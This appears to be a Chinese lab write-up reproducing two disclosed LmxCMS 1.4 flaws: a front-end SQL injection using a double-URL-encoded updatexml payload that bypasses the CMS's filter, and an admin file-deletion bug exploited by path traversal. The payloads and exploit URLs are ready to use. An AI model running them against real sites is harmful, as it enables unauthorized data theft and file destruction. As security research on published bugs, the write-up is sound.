環境搭建
參考: https://www.bilibili.com/video/BV12U4y1G7iV?t=30.9
原始碼: http://www.lmxcms.com/down/xitong/
CNVD-2019-05674-前臺的SQL隱碼攻擊
https://www.cnvd.org.cn/flaw/show/CNVD-2019-05674
LmxCMS V1.4前臺Ta***.cl***.php存在SQL隱碼攻擊漏洞。攻擊者可利用漏洞獲取資料庫敏感資訊。
指TagsAction.class.php
這裡呼叫的是系統自己定義的p函式,在common.php中
但是這個p函式過濾的很嚴,所以考慮在p函式之外繞過
有效的有兩個地方:
$name = string::delHtml($data['name']);
$name = urldecode($name);
關於這個delHtml:
呼叫了strip_tags
效果是:
echo strip_tags("selec<>t"); // select
跟進輸出處:
還是新增echo $sql;
所以這裡對應的是:/lmxcms1.4/?m=tags&name=a
由於這裡有404,報了404之後會發生頁面跳轉,不方便觀察:
由於這兒有Cookie,所以每次對原始碼修改後都要重新抓包
payload:/lmxcms1.4/?m=tags&name=a
但是那個delHtml的效果並不好
接下來嘗試利用urldecode
正常情況下:
a' or updatexml(0,concat(0x7e,version()),1)#
URL編碼兩次:
%25%36%31%25%32%37%25%32%30%25%36%66%25%37%32%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%33
然後傳參:
CNVD-2020-59469-後臺---檔案刪除
https://www.cnvd.org.cn/flaw/show/CNVD-2020-59469
BackdbAction.class.php:
跟進:
發現重寫了unlink方法:
public static function unLink($path){
if($path == ROOT_PATH) return;
if(is_file($path)){
if(!@unlink($path)) rewrite::js_back('刪除檔案失敗,請檢查'.$path.'檔案許可權');
return true;
}
}
發現在其他檔案中也有使用:
對應的是BasicAction.class.php
回到剛才的unlink:
但是這兩個地方刪除的檔案的字尾都被限制了,一個是.zip,另一個是.sql
再找其他地方:
這個unLink($filepath);
,$filename可控,可能是一個利用點,不過利用起來比較麻煩
還有一處:
預設放置位置在file/back目錄下
在根目錄下新建一個1.txt:
所以:
http://192.168.84.1:8081/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=../../1.txt